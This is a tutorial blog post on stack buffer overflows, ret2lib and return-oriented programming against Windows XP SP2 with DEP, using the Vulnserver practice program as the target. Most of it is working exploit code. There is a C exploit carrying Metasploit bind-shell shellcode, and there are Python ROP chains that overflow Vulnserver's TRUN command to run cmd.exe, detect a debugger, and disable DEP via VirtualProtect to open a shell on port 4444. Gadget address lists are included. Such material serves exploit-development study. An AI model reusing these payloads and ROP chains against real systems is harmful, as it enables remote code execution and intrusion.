“Because all the instructions that are executed are from executable memory areas within the original program, this avoids the need for direct code injection, and circumvents most measures that try to prevent the execution of instructions from user-controlled memory.” Let start with an introduction to stack buffer overflows. Basic System Set 1: Windows XP SP2 installed on a machine supporting H/W enabled DEP. 2: Immunity Debugger and Metasploit. 3: TCC compiler or lcc-win compiler. 4: Latest Python installer. 5: Vulnserver(http://grey-corner.blogspot.com/2010/12/introducing-vulnserver.html ) by Stephen Bradshaw.     6: Some patience.

Stack buffer overflows

There is a memory region called a “stack”. The stack region of the memory is used to temporarily store data related to the current thread or function, for example the local function and stack parameter of the function. Certain processor registers keep track of the stack location i.e stack top and stack base. These are nothing but memory addresses which determine the address of the stack frame. Two processor registers ESP and EBP are used to track the record of memory address. ESP stand for top stack pointer and EBP for base pointer.

This is the typical stack layout in the x86 processor. One thing to notice here is that the stack grows from top to bottom, i.e ESP will always be less or equal to EBP. The stack contains local function variables and a special value called a return address, to which the control flow is returned when a function exits. If that particular value on the stack gets overwritten by any means, we can divert the control flow to our shell code that we injected though data input into the program. For example, consider the following C Code: int VulnFunction(char *p) {     char buf[40];     strcpy(buf, p);     return 0; } An equivalent disassembly of the VulnFunction code would be: VulnFunction:     PUSH EBP     MOV EBP,ESP     SUB ESP, 28 ; RESERVER 40 BYTES ON STACK FOR       PUSH [EBP + 28]; address of buf     CALL strcpy ; vulnerable function     ADD ESP, 4 ; STACK CLEAREANCE     ADD ESP, 28; REMOVER BUF FROM STACK     POP EBP ; RESTORE OLD EBP     RET ; POP VALUE FROM STACK AND RETURN TO THAT ADDRESSS Now if more than 44 bytes are provided to the function, we will be able to overwrite the return address stored on that stack, which is used to control the return of that function code. Why 44? You may wonder why more than 44 bytes are required to overwrite the return address when the buffer is only 40 bytes. It’s because at the function entry sequence, the EBP (4 bytes) is pushed on to the stack and recovered at the function exit sequence.

Let’s now experiment by passing 48 bytes to the program “aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbb” and see what happens. In the picture you can clearly see that the EIP gets overwritten by the last 4 bytes, ie “bbbb” (hex 62), and the program crashes suddenly after RET instruction is executed. In conventional attack scenarios we would attack the program by passing junk(44 bytes) + ESP + shellcode. But the problem with that is the address of the ESP always contains some zero bytes e.g. 0012ff4c, strcpy would stop if a null is encountered and will result in incomplete copying of our shell code. We will supply the return address of a special instruction called a trampoline JMP ESP to make it jump to our shell code located on the stack. In the context of our program we will use a trampoline located in ntdll at: 7C941EED JMP ESP So now the attack buffer would be something like this:junk(44 bytes) + JMP_ESP + shellcode We will supply it a TCP bind Shell code generated with from metasploit /* C program to exploit VulnFunction */ #include <stdio.h> #include <stdlib.h> #include <windows.h> #define JMP_ESP 0x7C941EED // ntdll.dll JMP ESP // metasploit tcp_bin port 4444 unsigned char buf[] = “x33xc9x83xe9xaaxe8xffxffxffxffxc0x5ex81x76x0e” “xd7x6exebx09x83xeexfcxe2xf4x2bx86x62x09xd7x6e” “x8bx80x32x5fx39x6dx5cx3cxdbx82x85x62x60x5bxc3” “xe5x99x21xd8xd9xa1x2fxe6x91xdaxc9x7bx52x8ax75” “xd5x42xcbxc8x18x63xeaxcex35x9exb9x5ex5cx3cxfb” “x82x95x52xeaxd9x5cx2ex93x8cx17x1axa1x08x07x3e” “x60x41xcfxe5xb3x29xd6xbdx08x35x9exe5xdfx82xd6” “xb8xdaxf6xe6xaex47xc8x18x63xeaxcexefx8ex9exfd” “xd4x13x13x32xaax4ax9exebx8fxe5xb3x2dxd6xbdx8d” “x82xdbx25x60x51xcbx6fx38x82xd3xe5xeaxd9x5ex2a” “xcfx2dx8cx35x8ax50x8dx3fx14xe9x8fx31xb1x82xc5” “x85x6dx54xbfx5dxd9x09xd7x06x9cx7axe5x31xbfx61” “x9bx19xcdx0ex28xbbx53x99xd6x6exebx20x13x3axbb” “x61xfexeex80x09x28xbbxbbx59x87x3exabx59x97x3e” “x83xe3xd8xb1x0bxf6x02xe7x2cx38x0cx3dx83x0bxd7” “x7fxb7x80x31x04xfbx5fx80x06x29xd2xe0x09x14xdc” “x84x39x83xbex3ex56x14xf6x02x3dxb8x5exbfx1ax07” “x32x36x91x3ex5ex5exa9x83x7cxb9x23x8axf6x02x06” “x88x64xb3x6ex62xeax80x39xbcx38x21x04xf9x50x81” “x8cx16x6fx10x2axcfx35xd6x6fx66x4dxf3x7ex2dx09” “x93x3axbbx5fx81x38xadx5fx99x38xbdx5ax81x06x92” “xc5xe8xe8x14xdcx5ex8exa5x5fx91x91xdbx61xdfxe9” “xf6x69x28xbbx50xf9x62xccxbdx61x71xfbx56x94x28” “xbbxd7x0fxabx64x6bxf2x37x1bxeexb2x90x7dx99x66” “xbdx6exb8xf6x02x6exebx09”; char *p = NULL; char *Parg = NULL; int VulnFunction(char *p) { char buf[40]; strcpy(buf, p); return 0; } int main(int argc, char **argv) { char a[900]; // junk to compensate stack char base = NULL; p = (int) malloc( sizeof(buf) + 48); base = p; if (p == NULL ) exit(EXIT_FAILURE); memset(p, 0x44, 44); // Set 44 Bytes Junk p = p + 44; (int)p = JMP_ESP; p = base; memcpy((p + 48), buf, sizeof(buf)); VulnFunction(p); return 0; } After executing we will get a shell at 4444 TCP port.DEP (Data Execution Prevention) DEP is a technique that was introduced to Windows XP SP2 to protect against buffer overflow attacks. DEP simply restricts the execution memory marked as read/write. Since the stack has been marked with read/write attributes, DEP restricts the execution of our shell code which we place on the stack. Ret2lib (Return To Library) AttackRather than injecting the shellcode and jumping to it, we can call a certain sub-routine in the address space of the executable. For example, we can fake the stack frame to call the system() C standard library function in msvcrt.dll to execute an arbitrary command and we can even chain multiple functions together. That way we can bypass DEP by reusing code from the program binary. But one of the main disadvantage of ret2lib is that it lacks in arbitrary computation (truing completeness).

ROP (Return Oriented Proragmming ) attack

This type of attack was introduced by Hovav Shacham of Stanford University in his paper “The Geometry of Innocent Flesh on the Bone:Return-into-libc without Function Calls (on the x86).” In the paper he describes “new return-into-libc techniques that allow arbitrary computation (and that are not, therefore, straight-line limited) and that do not require calling any functions whatsoever“. That means this type of attack is able to perform arbitrary computation without the necessary use of library functions by reusing code chunks which he calls GADGETS. Gadgets are a small group of instructions ending with a x86 RET instruction. For example, mov eax, 10 ; ret is a gadget which allows us to set eax to 10 (decimal). These gadgets can be chained together to make them work as a simple unit to perform arbitray computations. For example, we can chain three gadgets together to perform addition on them:     pop eax; ret     pop ebx ret;     add eax, ebx; ret The following chain of gadgets allows us to set two processor registers and them perform arithmetic addition on them: ROP is not limited to only calculations. We can also perform code branching and check for conditions (equal, less and greater ) on the given data.

ROP attacks (loading and storing data)

There are certain gadgets that allows us to store and load data from one place to another. Modes of transfer include: 1: register to register 2: register to memory 3:memory to register

Register to register

The gadgets related to reg to reg copying are: mov eax, ebx mov ecx, eax etc.

Register to memory

A search in Immunity Debugger will yield the following results and even more: 7C828B39 MOV ECX,DWORD PTR DS:[ECX] C:WINDOWSsystem32kernel32.dll 7C828BF9 MOV EDX,DWORD PTR DS:[ECX] C:WINDOWSsystem32kernel32.dll 7C828C2A MOV EDX,DWORD PTR DS:[EAX] C:WINDOWSsystem32kernel32.dll 7C828CC3 MOV ESI,DWORD PTR DS:[EBX] C:WINDOWSsystem32kernel32.dll 7C828D26 MOV EDX,DWORD PTR DS:[ECX] C:WINDOWSsystem32kernel32.dll 7C828D4C MOV EDX,DWORD PTR DS:[EAX] C:WINDOWSsystem32kernel32.dll 7C828D70 MOV EDX,DWORD PTR DS:[ECX] C:WINDOWSsystem32kernel32.dll 7C828DAB MOV EAX,DWORD PTR DS:[EAX] C:WINDOWSsystem32kernel32.dll 7C828DB1 MOV EDX,DWORD PTR DS:[ECX] C:WINDOWSsystem32kernel32.dll 7C828E77 MOV EAX,DWORD PTR DS:[ESI] C:WINDOWSsystem32kernel32.dll 7C8290AC MOV EAX,DWORD PTR DS:[ECX] C:WINDOWSsystem32kernel32.dll

                    

Memory to register

To transfer values from the stack to a register, we have gadgets like pop eax; ret ;pop ebx;ret

This gadget pops a value from the stack and stores it in a processor register. We also have gadgets like: 7C801118 MOV DWORD PTR DS:[ESI],EAX C:WINDOWSsystem32kernel32.dll 7C80168A MOV DWORD PTR DS:[EAX],ECX C:WINDOWSsystem32kernel32.dll 7C8016D9 MOV DWORD PTR DS:[EAX],ECX C:WINDOWSsystem32kernel32.dll 7C801728 MOV DWORD PTR DS:[EAX],EBX C:WINDOWSsystem32kernel32.dll 7C801761 MOV DWORD PTR DS:[ECX],EDX C:WINDOWSsystem32kernel32.dll 7C8017A2 MOV DWORD PTR DS:[EAX],ECX C:WINDOWSsystem32kernel32.dll 7C801800 MOV DWORD PTR DS:[ECX],EDX C:WINDOWSsystem32kernel32.dll 7C801823 MOV DWORD PTR DS:[ECX],EBX C:WINDOWSsystem32kernel32.dll 7C80188E MOV DWORD PTR DS:[ECX],EAX C:WINDOWSsystem32kernel32.dll 7C8018E2 MOV DWORD PTR DS:[EAX],EBX C:WINDOWSsystem32kernel32.dll 7C801957 MOV DWORD PTR DS:[EDX],ECX C:WINDOWSsystem32kernel32.dll 7C801963 MOV DWORD PTR DS:[ESI],EBX C:WINDOWSsystem32kernel32.dll 7C8019CC MOV DWORD PTR DS:[EAX],ECX C:WINDOWSsystem32kernel32.dll 7C8019F7 MOV DWORD PTR DS:[EAX],EBX C:WINDOWSsystem32kernel32.dll 7C801F22 MOV DWORD PTR DS:[EDX],EAX C:WINDOWSsystem32kernel32.dll 7C801F30 MOV DWORD PTR DS:[EAX],ECX C:WINDOWSsystem32kernel32.dll 7C802040 MOV DWORD PTR DS:[EAX],EDI C:WINDOWSsystem32kernel32.dll 7C8021FC MOV DWORD PTR DS:[ECX],EDX C:WINDOWSsystem32kernel32.dll 7C8022D8 MOV DWORD PTR DS:[EAX],ECX C:WINDOWSsystem32kernel32.dll 7C80231F MOV DWORD PTR DS:[ECX],EDX C:WINDOWSsystem32kernel32.dll 7C80248B MOV DWORD PTR DS:[ECX],EAX C:WINDOWSsystem32kernel32.dll 7C802497 MOV DWORD PTR DS:[ECX],EAX C:WINDOWSsystem32kernel32.dll The gadget at 0x7C802497 kernel32.dll MOV DWORD PTR DS:[ECX],EAX; ret, moves the value of EAX to a memory location pointed by ECX.

ROP gadgets (arithmetic operations)

The x86 primitive instructions related to arithmetic are ADD, SUB, MUL, DIV XOR, rotates and shifts etc., and we can search gadgets related to those operations. Addition: 7C95CE86 ADD ECX,EBP C:WINDOWSsystem32ntdll.dll 7C96CCC0 ADD ECX,EBP C:WINDOWSsystem32ntdll.dll 7C9761FB ADD ECX,ECX C:WINDOWSsystem32ntdll.dll 7C9770F0 ADD EAX,EBP C:WINDOWSsystem32ntdll.dll 7CA29036 ADD ESI,ESI C:WINDOWSsystem32SHELL32.dll 7CA367A6 ADD EAX,EBP C:WINDOWSsystem32SHELL32.dll 7CABF312 ADD EDI,EDI C:WINDOWSsystem32SHELL32.dll 7CAE0091 ADD EAX,EBP C:WINDOWSsystem32SHELL32.dll 7CB8C82F ADD EBX,EBP C:WINDOWSsystem32SHELL32.dll 7CB9196F ADD EAX,EBP C:WINDOWSsystem32SHELL32.dll 7CB9B4EA ADD EBX,EAX C:WINDOWSsystem32SHELL32.dll 7CBA519A ADD EBX,EAX C:WINDOWSsystem32SHELL32.dll     Similarly, we have subtraction, multiplication and division. E.g.: 7C902AF5 SUB EAX,ECX C:WINDOWSsystem32ntdll.dll 7C902AFF SUB EAX,ECX C:WINDOWSsystem32ntdll.dll 7C902B09 SUB EAX,ECX C:WINDOWSsystem32ntdll.dll 7C902B13 SUB EAX,ECX C:WINDOWSsystem32ntdll.dll Handling NULL Bytes in a ROP payloadA ROP payload contains addresses or parameters to a system function (in case we are faking the stack frame of particular function). There is a high probability that a certain parameter of a system function or an address of a ROP gadget might contain one or many NULL bytes and they might be categorised as bad chars in the vulnerable function, eg. in case of strcpy, it stops copying the buffer as soon as a NULL (0x00) byte is encountered. If we go on without taking the null byte handling into account, our ROP payload will be incorrectly copied. Now, let us consider an example here: You have a hypothetical system function as FunctionX which takes two arguments x and y, in which y has to be necessarily 0 or null in order to work. Void FunctionX(DWORD x, DWORD y) { if (y == NULL) { ….. ….. ….. } exit(-1); } The stack frame of FunctionX will become like this. As we can see on the stack frame, it’s necessary that we place a null word as the second parameter to FunctionX, so how do we handle null bytes? There is a well known mathematical axiom: Let there be two variables A and B, we know A XOR B = z(say) now A XOR Z = B also B XOR Z = A let A = 0x00000000 let B = 0xffffffff; A XOR B = 0xffffffff (z) Now if we want to convert it back into A, we XOR it back with B(mask) Z XOR B = 0x00000000 We will use the XOR gadget combined with Load and Store gadgets to store the value back on the stack. To demonstrate this technique, we will exploit a buffer overflow in Vulnserver (see http://grey-corner.blogspot.com/2010/12/introducing-vulnserver.html by Stephen Bradshaw). There exists a buffer overflow in the server when processing TRUN messages from the client. From vulnserver.c: else if (strncmp(RecvBuf, “TRUN “, 5) == 0) {                 char *TrunBuf = malloc(3000);                 memset(TrunBuf, 0, 3000);                 for (i = 5; i < RecvBufLen; i++) {                     if ((char)RecvBuf[i] == ‘.’) {                         strncpy(TrunBuf, RecvBuf, 3000);                         Function3(TrunBuf);                         break;                     }                 } The server accepts 3000 bytes after the TRUN message and passes it to Function3, where the buffer overflow takes place. void Function3(char *Input) {     char Buffer2S[2000];     strcpy(Buffer2S, Input); } Using pattern_create.rb and pattern_offset.rb from Metasploit, we are able to determine that after 2006 bytes the EIP overwrite takes place. We will try to demonstrate a ROP payload executing WinExec to execute CMD.EXE using exploit code written in Python.

WinExec ROP exploit for vulnserver

(C) 2012 Rashid bhatt

import socket, sys from struct import pack target = “127.0.0.1” port = int(“9999”) from operator import * param1 = xor(0x00B6FA60, 0xffffffff) # location of stack parameter lpCMDline = xor(0x00B6FA68, 0xffffffff) # pointer to string param2 = xor(0x00B6FA64, 0xffffffff) # location of stack parameter eip = pack(‘<L’, 0x7C9029AC) # pop edi eip += pack(‘<L’, 0xffffffff) eip += pack(‘<L’, 0x7C971980)    #pop ecx eip += pack(‘<L’, param1) eip += pack(‘<L’, 0x71AB100C)    #xor ecx, edi eip += pack(‘<L’, 0x77C14001) # xchg eax, ecx eip += pack(‘<L’, 0x7C9029AC) # pop edi eip += pack(‘<L’, 0xffffffff) eip += pack(‘<L’, 0x7C971980)    #pop ecx eip += pack(‘<L’, lpCMDline) eip += pack(‘<L’, 0x71AB100C)    #xor ecx, edi eip += pack(‘<L’, 0x7C951376) # MOV DWORD PTR DS:[EAX],ECX

for nCMDShow , we have to make it zero

eip += pack(‘<L’, 0x7C9029AC) # pop edi eip += pack(‘<L’, 0xffffffff) eip += pack(‘<L’, 0x7C971980)    #pop ecx eip += pack(‘<L’, param2) eip += pack(‘<L’, 0x71AB100C)    #xor ecx, edi eip += pack(‘<L’, 0x77C14001) # xchg eax, ecx eip += pack(‘<L’, 0x7C91C91D)    #xor ecx, ecx eip += pack(‘<L’, 0x7C951376) # MOV DWORD PTR DS:[EAX],ECX eip += pack(‘<L’, 0x7C86114D)        # call WinExec eip += pack(‘<L’, 0x77C39E7E ) # ret to msvcrt_Exit ( function chained ) eip += pack(‘<L’,0xdeadbeef) # first param point to stack ( contains a null byte) eip += pack(‘<L’,0xdeadbeef ) # second param (zero nCMDShow = 0) eip += “cmd.exe” s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target,port)) s.send(“TRUN .” + “a” * 2006 + eip) s.recv(1000) s.close()

 

UN-conditional and conditional jumps in ROP attacks

In ROP, the ESP keeps track of the next gadget to be executed, therefore by modifying the ESP we can divert or skip the execution of certain gadgets. The following diagram illustrates an infinite loop.

Infinite loop ROP payload

(C) 2012 Rashid Bhatt

import socket, sys from struct import pack target = “127.0.0.1” port = int(“9999”) from operator import * esp_loc = xor(0x00B6FA3C, 0xffffffff) # location of DWORD after pop esp gadget on stack esp_val = xor(0x00B6FA38, 0xffffffff) # esp value eip = pack(‘<L’, 0x7C9029AC) # pop edi eip += pack(‘<L’, 0xffffffff) eip += pack(‘<L’, 0x7C971980)    #pop ecx eip += pack(‘<L’, esp_loc) eip += pack(‘<L’, 0x71AB100C)    #xor ecx, edi eip += pack(‘<L’, 0x77C14001) # xchg eax, ecx eip += pack(‘<L’, 0x7C9029AC) # pop edi eip += pack(‘<L’, 0xffffffff) eip += pack(‘<L’, 0x7C971980)    #pop ecx eip += pack(‘<L’, esp_val) eip += pack(‘<L’, 0x71AB100C)    #xor ecx, edi eip += pack(‘<L’, 0x7C951376) # MOV DWORD PTR DS:[EAX],ECX eip += pack(‘<L’, 0x7C929BAB) # pop esp eip += pack(‘<L’, 0xdeadbeef) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target,port)) s.send(“TRUN .” + “a” * 2006 + eip) s.recv(1000) s.close() Conditional jumps in ROP are quite tricky. We have to modify the ESP based on a certain comparison eg < ,> ,== .

Comparing with zero

We will check if the value is zero or not, and based on the comparison, we will add an offset to the ESP to skip certain gadgets. wWe need to store two values on the stack: 1: The value to be compared with zero. 2: ESP_DELTA , the value which will be added to the ESP if the condition is satisfied. The process takes place in the following steps:1: Load the value to be checked in a general purpose register and apply NEG x86 instruction on it. 2: NEG instruction Computes the 2′ complement, and sets the CF as per the operand. 3: If the number is zero, the CF becomes zero, otherwise one. 4: Zero any register by xor reg,reg gadget, and use ADC reg,reg to place the CF in it. 5: Again use NEG instruction to compute the 2’s complement on the same register. The register would now either contain a single 1 bit or all zeros, based on the CF from the previous operation. 6: 2’s complement will transform it to all zeros if CF was 0 or all 1 if CF was 1. 7: Perform Logical AND of ESP_DELTA and the result. 8: Now, based on the CF we will either get ESP_DELTA or zero. 8: Add the result to the ESP. To demonstrate this technique, we will use the IsDebuggerPresent(void) function to check if the process is being debugged or not, and if not, we will proceed to execute CMD.exe using the earlier ROP payload:

Conditional ROP payload

(c) 2012 Rashid Bhatt

import socket, sys from struct import pack target = “127.0.0.1” port = int(“9999”) from operator import * esp_delta_loc = xor(0x00B6FA88 , 0xffffffff) # location of esp_delta on stack esp_delta_value = xor(0x200, 0xffffffff) # value to be added to stack param1 = xor(0x00B6FA98, 0xffffffff) param1_val = xor(0x00, 0xffffffff)

handling zero bytes for ESP_DELTA

eip = pack(‘<L’, 0x7C9029AC) # pop edi eip += pack(‘<L’, 0xffffffff) eip += pack(‘<L’, 0x7C971980)    #pop ecx eip += pack(‘<L’, esp_delta_loc) eip += pack(‘<L’, 0x71AB100C)    #xor ecx, edi eip += pack(‘<L’, 0x77C14001) # xchg eax, ecx eip += pack(‘<L’, 0x7C9029AC) # pop edi eip += pack(‘<L’, 0xffffffff) eip += pack(‘<L’, 0x7C971980)    #pop ecx eip += pack(‘<L’, esp_delta_value) eip += pack(‘<L’, 0x71AB100C)    #xor ecx, edi eip += pack(‘<L’, 0x7C951376) # MOV DWORD PTR DS:[EAX],ECX

FOR POP EBX ; EBX = 0 ( unfortunately no gadget was available for xor ebx,ebx)

eip += pack(‘<L’, 0x7C9029AC) # pop edi eip += pack(‘<L’, 0xffffffff) eip += pack(‘<L’, 0x7C971980)    #pop ecx eip += pack(‘<L’, param1) eip += pack(‘<L’, 0x71AB100C)    #xor ecx, edi eip += pack(‘<L’, 0x77C14001) # xchg eax, ecx eip += pack(‘<L’, 0x7C9029AC) # pop edi eip += pack(‘<L’, 0xffffffff) eip += pack(‘<L’, 0x7C971980)    #pop ecx eip += pack(‘<L’, param1_val) eip += pack(‘<L’, 0x71AB100C)    #xor ecx, edi eip += pack(‘<L’, 0x7C951376) # MOV DWORD PTR DS:[EAX],ECX eip += pack(‘<L’, 0x7C812E03) # isdebuggerpresent() eip += pack(‘<L’, 0x77E2233D)    #xor esi,esi eip += pack(‘<L’, 0x77D74960) # NEG eax eip += pack(‘<L’, 0x71A77D0B) # adc esi,esi eip += pack(‘<L’, 0x77C39F8F) # mov eax,esi (with side effects of popping a value from stack) eip += pack(‘<L’, 0xdeadbeef) # junk eip += pack(‘<L’, 0x77D74960)    #neg eax eip += pack(‘<L’, 0x7C90ECEA) # pop edi eip += pack(‘<L’, 0xbadb00b) # ESP_DELTA fixed earlier eip += pack(‘<L’, 0x77C13FFD)    # XCHG EAX, ECX eip += pack(‘<L’, 0x77C14518 ) # AND EDI,ECX eip += pack(‘<L’, 0x7C9742C9 ) # pop ebx eip += pack(‘<L’, 0xbadb00b) # ZERO fixed earlier eip += pack(‘<L’, 0x77E0C1EE) # xchg eax, edi eip += pack(‘<L’, 0x7C939D54) # ADD EBX,EAX eip += pack(‘<L’, 0x7C939C04) # ADD ESP, EBX

==============================

param1 = xor(0x00B6FB00, 0xffffffff) # location of stack parameter lpCMDline = xor(0x00B6FB08, 0xffffffff) # pointer to string param2 = xor(0x00B6FB04, 0xffffffff) # location of stack parameter eip += pack(‘<L’, 0x7C9029AC) # pop edi eip += pack(‘<L’, 0xffffffff) eip += pack(‘<L’, 0x7C971980)    #pop ecx eip += pack(‘<L’, param1) eip += pack(‘<L’, 0x71AB100C)    #xor ecx, edi eip += pack(‘<L’, 0x77C14001) # xchg eax, ecx eip += pack(‘<L’, 0x7C9029AC) # pop edi eip += pack(‘<L’, 0xffffffff) eip += pack(‘<L’, 0x7C971980)    #pop ecx eip += pack(‘<L’, lpCMDline) eip += pack(‘<L’, 0x71AB100C)    #xor ecx, edi eip += pack(‘<L’, 0x7C951376) # MOV DWORD PTR DS:[EAX],ECX

for nCMDShow , we have to make it zero

eip += pack(‘<L’, 0x7C9029AC) # pop edi eip += pack(‘<L’, 0xffffffff) eip += pack(‘<L’, 0x7C971980)    #pop ecx eip += pack(‘<L’, param2) eip += pack(‘<L’, 0x71AB100C)    #xor ecx, edi eip += pack(‘<L’, 0x77C14001) # xchg eax, ecx eip += pack(‘<L’, 0x7C91C91D)    #xor ecx, ecx eip += pack(‘<L’, 0x7C951376) # MOV DWORD PTR DS:[EAX],ECX eip += pack(‘<L’, 0x7C86114D)        # call WinExec eip += pack(‘<L’, 0x77C39E7E ) # ret to msvcrt_Exit ( function chained ) eip += pack(‘<L’,0xdeadbeef) # first param point to stack ( contains a null byte) eip += pack(‘<L’,0xdeadbeef ) # second param (zero nCMDShow = 0) eip += “cmd.exe”

=========================================

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target,port)) s.send(“TRUN .” + “a” * 2006 + eip) s.recv(1000) s.close() Now, if we run the exploit without debugging the process, we will proceed to the execution of CMD.exe, but if the server is being debugged, the process will crash because that time the ROP payload for CMD.EXE will be skipped. We can verify this by debugging the server and then setting a break point at 7C939C04 ADD ESP, EBX gadget.Hit the Breakpoint at 7C939C04: 7C939C04 01DC ADD ESP,EBX ; offset being added to esp 7C939C06 05 9CEE977C ADD EAX,ntdll.7C97EE9C 7C939C0B C3 RETN EAX FFFFFFFF ECX FFFFFFFF EDX 00657865 EBX 00000200 « 200 (hex) offset added when process in being debugged ESP 00B6FAA8 EBP 61616161 ESI DEADBEEF EDI 00000000 EIP 7C939C04 ntdll.7C939C04

Comparing two values

A similar strategy is used to check if two values are equal to, less than, or greater than each other. A SUB instruction will subtract two values to be checked for equality; the SUB instruction sets the CF if the destination operand is greater. The CF would get updated if the values are not same, and then later apply the same logic of checking for zero.

Putting it all together

We will now write a ROP exploit for Vulnserver to bind it to port 4444 TCP. To achieve that we will remark the stack memory with an executable permission using VirtualProtect Function and then we will jump to our shellcode located on the stack.

(c) 2012 Rashid Bhatt

import socket, sys from struct import pack

tcp/ip bind 444 shellcode

buf = “x2bxc9x83xe9xb5xe8xffxffxffxffxc0x5ex81x76x0ex25xabx3axc9x83xeexfcxe2xf4xd9x43xb3xc9x25xabx5ax40xc0x9axe8xadxaexf9x0ax42x77xa7xb1x9bx31x20x48xe1x2ax1cx70xefx14x54x0bx09x89x97x5bxb5x27x87x1ax08xeaxa6x3bx0exc7x5bx68x9exaexf9x2ax42x67x97x3bx19xaexebx42x4cxe5xdfx70xc8xf5xfbxb1x81x3dx20x62xe9x24x78xd9xf5x6cx20x0ex42x24x7dx0bx36x14x6bx96x08xeaxa6x3bx0ex1dx4bx4fx3dx26xd6xc2xf2x58x8fx4fx2bx7dx20x62xedx24x78x5cx42x29xe0xb1x91x39xaaxe9x42x21x20x3bx19xacxefx1exedx7exf0x5bx90x7fxfaxc5x29x7dxf4x60x42x37x40xbcx94x4dx98x08xc9x25xc3x4dxbax17xf4x6exa1x69xdcx1cxcexdax7ex82x59x24xabx3axe0xe1xffx6axa1x0cx2bx51xc9xdax7ex6ax99x75xfbx7ax99x65xfbx52x23x2ax74xdax36xf0x3cx0bx12x76xc3x38xc9x34xf7xb3x2fx4fxbbx6cx9ex4dx69xe1xfex42x54xefx9ax72xc3x8dx20x1dx54xc5x1cx76xf8x6dxa1x51x47x01x28xdax7ex6dx5ex4dxdex54x84x44x54xefxa3x25xc1x3ex9fx72xc3x38x10xedxf4xc5x1cxaex9dx50x89x4dxabx2axc9x25xfdx50xc9x4dxf3x9ex9axc0x54xefx5ax76xc1x3ax9fx76xfcx52xcbxfcx63x65x36xf0xaaxf9xe0xe3x2exccxbcxc9x68x3axc9” target = “127.0.0.1” port = int(“9999”) from operator import * address_loc = xor(0x00B6FAD0 , 0xffffffff) address_val = xor(0x00B6FAE0, 0xffffffff) size_loc = xor(0x00B6FAD4, 0xffffffff) size = xor(len(buf), 0xffffffff) nprotect_loc = xor(0x00B6FAD8, 0xffffffff) nprotect = xor(0x40, 0xffffffff) oldprotect_loc = xor(0x00B6FADC, 0xffffffff) oldprotect = xor(0x00B6FAB4, 0xffffffff)

first param

eip = pack(‘<L’, 0x7C9029AC) # pop edi eip += pack(‘<L’, 0xffffffff) eip += pack(‘<L’, 0x7C971980)    #pop ecx eip += pack(‘<L’, address_loc) eip += pack(‘<L’, 0x71AB100C)    #xor ecx, edi eip += pack(‘<L’, 0x77C14001) # xchg eax, ecx eip += pack(‘<L’, 0x7C9029AC) # pop edi eip += pack(‘<L’, 0xffffffff) eip += pack(‘<L’, 0x7C971980)    #pop ecx eip += pack(‘<L’, address_val) eip += pack(‘<L’, 0x71AB100C)    #xor ecx, edi eip += pack(‘<L’, 0x7C951376) # MOV DWORD PTR DS:[EAX],ECX

second param

eip += pack(‘<L’, 0x7C9029AC) # pop edi eip += pack(‘<L’, 0xffffffff) eip += pack(‘<L’, 0x7C971980)    #pop ecx eip += pack(‘<L’, size_loc) eip += pack(‘<L’, 0x71AB100C)    #xor ecx, edi eip += pack(‘<L’, 0x77C14001) # xchg eax, ecx eip += pack(‘<L’, 0x7C9029AC) # pop edi eip += pack(‘<L’, 0xffffffff) eip += pack(‘<L’, 0x7C971980)    #pop ecx eip += pack(‘<L’, size) eip += pack(‘<L’, 0x71AB100C)    #xor ecx, edi eip += pack(‘<L’, 0x7C951376) # MOV DWORD PTR DS:[EAX],ECX

Third param

eip += pack(‘<L’, 0x7C9029AC) # pop edi eip += pack(‘<L’, 0xffffffff) eip += pack(‘<L’, 0x7C971980)    #pop ecx eip += pack(‘<L’, nprotect_loc) eip += pack(‘<L’, 0x71AB100C)    #xor ecx, edi eip += pack(‘<L’, 0x77C14001) # xchg eax, ecx eip += pack(‘<L’, 0x7C9029AC) # pop edi eip += pack(‘<L’, 0xffffffff) eip += pack(‘<L’, 0x7C971980)    #pop ecx eip += pack(‘<L’, nprotect) eip += pack(‘<L’, 0x71AB100C)    #xor ecx, edi eip += pack(‘<L’, 0x7C951376) # MOV DWORD PTR DS:[EAX],ECX

fourth param

eip += pack(‘<L’, 0x7C9029AC) # pop edi eip += pack(‘<L’, 0xffffffff) eip += pack(‘<L’, 0x7C971980)    #pop ecx eip += pack(‘<L’, oldprotect_loc) eip += pack(‘<L’, 0x71AB100C)    #xor ecx, edi eip += pack(‘<L’, 0x77C14001) # xchg eax, ecx eip += pack(‘<L’, 0x7C9029AC) # pop edi eip += pack(‘<L’, 0xffffffff) eip += pack(‘<L’, 0x7C971980)    #pop ecx eip += pack(‘<L’, oldprotect) eip += pack(‘<L’, 0x71AB100C)    #xor ecx, edi eip += pack(‘<L’, 0x7C951376) # MOV DWORD PTR DS:[EAX],ECX eip += pack(‘<L’, 0x7C801AD0 ) # VirtualProtect eip += pack(‘<L’, 0x7C941EED) # JMP ESP eip += pack(‘<L’, 0xdeadbeef) #1 eip += pack(‘<L’, 0xdeadbeef) #2 eip += pack(‘<L’, 0xdeadbeef) #3 eip += pack(‘<L’, 0xdeadbeef) #4 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target,port)) s.send(“TRUN .” + “a” * 2006 + eip + buf) s.recv(1000) s.close()